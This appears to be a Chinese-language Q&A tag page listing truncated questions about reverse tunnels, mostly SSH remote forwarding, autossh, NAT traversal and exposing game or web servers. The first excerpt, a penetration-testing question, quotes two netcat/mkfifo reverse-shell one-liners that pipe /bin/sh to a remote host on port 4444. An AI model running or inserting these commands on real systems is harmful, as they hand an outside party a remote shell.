reverse-tunnel

尝试理解 telnet 行为并在 Unix 中渗透测试反向 shell
reverse-tunnel

尝试理解 telnet 行为并在 Unix 中渗透测试反向 shell

第一个对我来说不起作用,第二个在 telnet 会话中起作用,Unix: 以下两者有何区别: .RUN rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip 4444 >/tmp/f 和这个: .RUN mkfifo /tmp/sgrj; nc ip 4444 0</tmp/sgrj | /bin/sh >/tmp/sgrj 2>&1; rm /tmp/sgrj San,有人解释一下为什么吗? ...

Admin

是否可以创建 UDP/TCP 反向游戏隧道?
reverse-tunnel

是否可以创建 UDP/TCP 反向游戏隧道?

作为参考,我在路由/网络领域没有太多经验。我的桌面上托管了一个游戏服务器,运行在 Linux Ubuntu headless 22.04 中。它运行在本地 IP 上,例如 192.169.1.185。我想公开端口 25567,但由于我住在公寓里,所以我无法访问主路由器。以太网从墙里出来。我可以使用一个简单的 find-my-IP 网站获取主路由器的公共 IP,但除此之外我一无所知。可以使用反向隧道软件来处理 UDP/TCP 端口,例如反向隧道 rtun?有人能解释一下这是怎么回事吗?另外,很遗憾,我无法使用 VPN。 ...

Admin

如何反向隧道到不同的本地 IP
reverse-tunnel

如何反向隧道到不同的本地 IP

我有一个遵循这个答案的反向隧道......如何使用 autossh 获取持久的反向 SSH 隧道? 两端都是 RaspberryPi。MotionEyeOS 安装在没有路由选项和动态 IP 的 eero 路由器上。另一个路由器有一个固定 IP,带有 iptables,我可以在其中分配端口,它在 192.168.1.87 上运行 RaspianOS32。 我可以打开网页并通过遍历隧道在远程 pi 上运行此命令来访问 Motioneye: ssh admin@localhost -vvv -p 43022 然后我在 MotionEyeOS pi 上运行它: a...

Admin

代理的反向隧道
reverse-tunnel

代理的反向隧道

我需要使用 A 作为代理来转发所有流量,但它的所有端口都已关闭。我有服务器 B,它可以访问所有端口。一般的想法是服务器 A 连接到服务器 B,然后服务器 B 使用 A 作为 VPN。使用服务器 B 作为代理肯定是可能的,但反过来也可以吗? 编辑:理想情况下,转发 UDP 和 TCP 流量,但只转发 TCP 也可以 ...

Admin

通过 SSH 进行隧道多播
reverse-tunnel

通过 SSH 进行隧道多播

有一个远程服务器,它有一个配置了 IP 地址的 LAN 接口192.168.100.2,并且它有一个启用所有多播224.0.0.0/4-> 的路由规则192.168.100.2。远程服务器在 Debian 上运行,没有安装 GUI 桌面。 所有的多播都是由连接到同一个局域网的流媒体生成的192.168.100.x。 当我在本地现场时,我将带有 GUI 桌面的笔记本电脑插入本地网络(192.168.100.x)并使用甚高频液晶播放任意视频多播频道进行测试是否正常工作。 例如,224.0.0.1代表1个视频通道,并使用VLC打开网络流udp://@224....

Admin

无法通过反向 ssh 连接到 VNC
reverse-tunnel

无法通过反向 ssh 连接到 VNC

我正在尝试通过 (G)cloud 实例(运行 Ubuntu 20)在我的工作机器(运行 Ubuntu 20)和我的家用机器(运行 Ubuntu 18)之间建立连接。由于我的工作机器上有严格的防火墙规则,当前的方法是从工作到 gcloud 实例 ( ) 建立反向 ssh 连接,然后从我的本地机器 ssh 进入实例,再从那里 ssh 回到我的办公室机器 ( )。ssh -R 7000:localhost:22 [email protected]ssh -L 5901:localhost:5901 user@localhost -p 7000 这一切都很...

Admin

SSH 反向隧道到 Linux 机器
reverse-tunnel

SSH 反向隧道到 Linux 机器

我的配置与这个问题(相关图片如下): 我希望能够直接RPC-2从LPC-1或通过 ssh 进入任意机器LPC-1。我可以控制路由器,LR但不能RR,当然也可以完全控制两台机器。 我按照原始问题的答案中提供的步骤进行操作,即: 在 LR 上> 将端口 22222 转发到 192.168.1.16 端口 22 RPC-2>ssh -f -N -T -p22222 -R8022:localhost:22 42.48.128.49 LPC-1>ssh -p8022 localhost 但是,当我运行步骤 3 时,似乎流量没有被正确转发到,RP...

Admin

通过多跳 SSH 隧道到达数据库服务器
reverse-tunnel

通过多跳 SSH 隧道到达数据库服务器

SSH 隧道很容易实现: ssh -D1234 host 但我们有更具体的基础设施 Host 1(远程服务器位于我公司) Host 2Host 1(网络内的本地服务器) Host 3(另一个国家的外部数据库服务器) 主机 3 只能从主机 2 访问,而主机 2 只能从主机 1 访问。 因此,我需要一个 ssh 隧道解决方案,以便通过端口 3306 直接从任何数据库管理软件访问笔记本电脑上的数据库服务器。 请注意,有很多关于代理和跳转 ssh 的文章,但我不需要终端中的临时 SSH 会话,而是需要在使用终端外的端口时保持隧道打开(例如,DB 管理软件)。 ...

Admin

Linux ssh 反向隧道无端点连接
reverse-tunnel

Linux ssh 反向隧道无端点连接

我正在使用 ssh 反向隧道(使用 AutoSSH)来允许我的 Internet 服务器上某些端口上的传入连接通过隧道传输到我家 LAN 上的本地服务器。 我的问题是,即使没有端点,SSH 也会接受外部端口上的传入连接;也就是说,本地服务器根本没有运行(但 PC 正在运行)。这应该会导致该 PC 进行本地重置。 尽管如此,TCP 连接仍会在该外部端口上建立。更糟糕的是,当在现有隧道连接期间,本地服务器关闭(无论是通过干净的 TCP 关闭,还是通过 TCP-RESET),这不会转发回外部客户端,并且从此客户端的角度来看,连接仍然存在。 有什么办法可以解决这个问...

Admin

如何在防火墙后面的两台服务器之间进行 SSH(无需第三方服务器)
reverse-tunnel

如何在防火墙后面的两台服务器之间进行 SSH(无需第三方服务器)

关于这个主题和 SSH 隧道有很多帖子,但是有些帖子接近满足此要求,但遗漏了一两个步骤,而有些帖子由于术语不明确而难以理解。本文旨在提供一个框架,消除步骤的歧义。 问题:我们有一台服务器 (RPC-2),它位于远程网络内,位于连接到互联网的远程路由器 (RR) 后面。网络上的本地 PC LCP-1 位于本地路由器 (LR) 后面。我们可以访问 LR 上的端口转发设置。 我们可以在 LCP-1 和 RPC-2 上运行命令,并更改 LR 上的设置。要使 SSH 从 RPC-2 启动并连接到 LPC-1 上的 SSH,需要执行哪些步骤? Here is what...

Admin

无密码 ssh 反向隧道突然要求输入密码?
reverse-tunnel

无密码 ssh 反向隧道突然要求输入密码?

这让我困惑不已,希望有人可以澄清一下。 我有一个本地服务器 LOCALSRV 和远程服务器(Ubuntu 20.04)REMOTESRV。 在本地服务器上,我建立了一个反向 ssh 隧道,通过运行以下命令将 LOCALSRV 端口 5555 转发到 REMOTESRV 端口 7777autossh在启动时运行,将 LOCALSRV 端口 5555 转发到 REMOTESRV 端口 7777,使用无密码密钥认证: /opt/sbin/autossh -M 51501 -f \ my_tnl_user@REMOTESRV \ -p 51500 -NT -i /p...

Admin

通过 VPS 使我的机器开放到互联网
reverse-tunnel

通过 VPS 使我的机器开放到互联网

因此目前我的情况如下: 私有 IP 我有完全访问权限的 Windows 本地计算机 我有完全访问权限的 Amazon 免费 VPS 正如您所知,AWS 免费套餐上有一个公共 IP,我一直在使用它进行开发和测试。现在我想将它添加到另一个级别,我想使用我的本地机器作为服务器,供我和我的朋友玩我托管的一些 MMORPG。 我已经确认可以通过本地网络访问游戏服务器。但现在我遇到了如何让我的朋友通过互联网访问的问题。 我尝试使用 ssh 建立到我的 VPS 的反向隧道,并打开端口以映射到我的本地端口。我可以使用一个简单的 ExpressJS 服务器进行测试,该服务...

Admin

从 LAN(NAT 后面)到另一个 LAN(NAT 后面)的 SSH 动态端口转发 (SOCKS);具有可用公共 IP 地址的中间服务器
reverse-tunnel

从 LAN(NAT 后面)到另一个 LAN(NAT 后面)的 SSH 动态端口转发 (SOCKS);具有可用公共 IP 地址的中间服务器

我需要有关如何建立正确的 ssh 连接的建议。 我的网络: 我希望能够使用在客户端 A 上配置了 SOCKS 的 FF 查看来自设备 B_1、B_2、B_3 的 Web 服务器内容。请注意,防火墙不允许传入连接,并且这一点无法更改。 我现在可以通过为每台机器(B_1、B_2、B_3)打开单个隧道来实现类似的功能,然后在 FF 中输入 http://localhost:5678 来浏览内容,而无需在客户端 A 上使用 SOCKS 在服务器 B -> B_1 ssh -f -n -T -R5678:192.168.1.2:80 user@serverA ...

Admin

使用另一个公共服务器访问本地 Web 服务器
reverse-tunnel

使用另一个公共服务器访问本地 Web 服务器

我有几个 Web 服务器在 NAT 后面运行(可使用本地 IP 访问),我需要从公共网络访问 Web 服务器。我无法使用端口转发。此外,我还有一个主中央服务器,可以从外部网络访问。那么,有没有办法将这些私有 Web 服务器连接到中央 Web 服务器,然后客户端可以通过公共服务器访问它。 NAT local Server1 -----------|-----------> |-----------------| | | ...

Admin

什么原因导致反向 SSH 端口转发隧道在启动时无法工作但在午夜准时开始工作?
reverse-tunnel

什么原因导致反向 SSH 端口转发隧道在启动时无法工作但在午夜准时开始工作?

我跟着本指南转发我的 VPS(公共静态 IP)上的端口以访问防火墙后面的远程服务器上的 Nextcloud 安装。它起作用了 - 有点。在任何时间点,远程服务器(安装了 Nextcloud)都能够建立到 VPS 的反向 SSH 隧道,因此可以从 VPS 本地访问。 这是我使用的定制服务: [Unit] Description=Keep a tunnel to vps open After=network-online.target [Service] Type=simple User=autossh Restart=al...

Admin